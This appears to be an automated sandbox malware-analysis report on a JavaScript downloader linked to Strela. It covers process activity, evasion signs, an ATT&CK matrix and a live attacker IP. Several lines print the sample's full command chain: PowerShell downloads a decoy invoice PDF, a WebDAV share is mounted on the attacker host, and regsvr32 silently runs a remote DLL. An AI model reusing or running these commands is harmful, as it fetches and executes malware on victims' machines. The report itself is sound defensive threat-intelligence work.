Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3723			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5660			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep count: 3723 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep count: 5660 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7540	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7668	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7844	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7408	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000008.00000002.2986168893.000001BA3122B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW z
Source: net.exe, 00000006.00000002.1751239786.000002117EA59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2987449052.000001BA36854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1751239786.000002117E9F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
27311161302332319656.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/sms	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/9	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1688975571.000001DB802E2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/9	net.exe, 00000006.00000002.1751239786.000002117EA2C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2987277433.000001BA3680F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1749826959.000001BA36AC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1751239786.000002117EA4D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1751239786.000002117E9F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1751239786.000002117EA2C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1749826959.000001BA36AC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/sms	net.exe, 00000006.00000002.1751239786.000002117E9F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587539
Start date and time:	2025-01-10 14:34:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	27311161302332319656.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 52.22.41.97, 3.233.129.217, 3.219.243.226, 52.6.155.20, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 2.22.242.11, 2.22.242.123, 23.204.152.210, 23.204.152.213, 192.168.2.4, 20.109.210.53, 96.17.64.171, 13.107.253.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:35:03	API Interceptor	23x Sleep call for process: powershell.exe modified
08:35:07	API Interceptor	1x Sleep call for process: net.exe modified
08:35:08	API Interceptor	2x Sleep call for process: svchost.exe modified
08:35:20	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.95
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073502128786367
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrt:KooCEYhgYEL0In
MD5:	95C1C3F4F6DFF7F8062237EB9C834481
SHA1:	B00163E20CD57F90E654B9A3A7D466DC66966C88
SHA-256:	97B511F42444CE50C996ABACD2E7871C50346B99CF4ED885550838FB59AC68DE
SHA-512:	7279DC53B3B479D53ACF732AB573C80DEE0B4A0A03573794BBF9E07281980E9C127D25CED061E86725D3593A413A3E3291EA2B7E6A18FDEE644CE52B7F407FE7
Malicious:	false
